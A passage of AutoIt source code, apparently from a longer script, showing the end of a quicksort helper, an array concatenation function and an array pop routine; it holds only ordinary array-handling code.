  582.                         WEnd
  583.                 EndIf
  584.                 If $L <= $R Then
  585.                         $vTmp = $avArray[$L]
  586.                         $avArray[$L] = $avArray[$R]
  587.                         $avArray[$R] = $vTmp
  588.                         $L += 1
  589.                         $R -= 1
  590.                 EndIf
  591.         Until $L > $R
  592.         _RFLTA_QuickSort($avArray, $iStart, $R)
  593.         _RFLTA_QuickSort($avArray, $L, $iEnd)
  594.  
  595. EndFunc   ;==>_RFLTA_QuickSort
  596. Func _RFLTA_ArrayConcatenate(ByRef $avArrayTarget, Const ByRef $avArraySource)
  597.  
  598.         Local $iUBoundTarget = UBound($avArrayTarget) - 1, $iUBoundSource = UBound($avArraySource)
  599.         ReDim $avArrayTarget[$iUBoundTarget + $iUBoundSource]
  600.         For $i = 1 To $iUBoundSource - 1
  601.                 $avArrayTarget[$iUBoundTarget + $i] = $avArraySource[$i]
  602.         Next
  603. EndFunc   ;==>_RFLTA_ArrayConcatenate
  604. Func _ArrayPop(ByRef $avArray)
  605.         If (Not IsArray($avArray)) Then Return SetError(1, 0, "")
  606.         If UBound($avArray, 0) <> 1 Then Return SetError(2, 0, "")
  607.  
  608.         Local $iUBound = UBound($avArray) - 1, $sLastVal = $avArray[$iUBound]
  609.  
  610.         ; Remove last item
  611.         If Not $iUBound Then
  612.                 $avArray = ""
  613.         Else
  614.                 ReDim $avArray[$iUBound]
  615.         EndIf
  616.         ; Return last item
  617.         Return $sLastVal
  618. EndFunc   ;==>_ArrayPop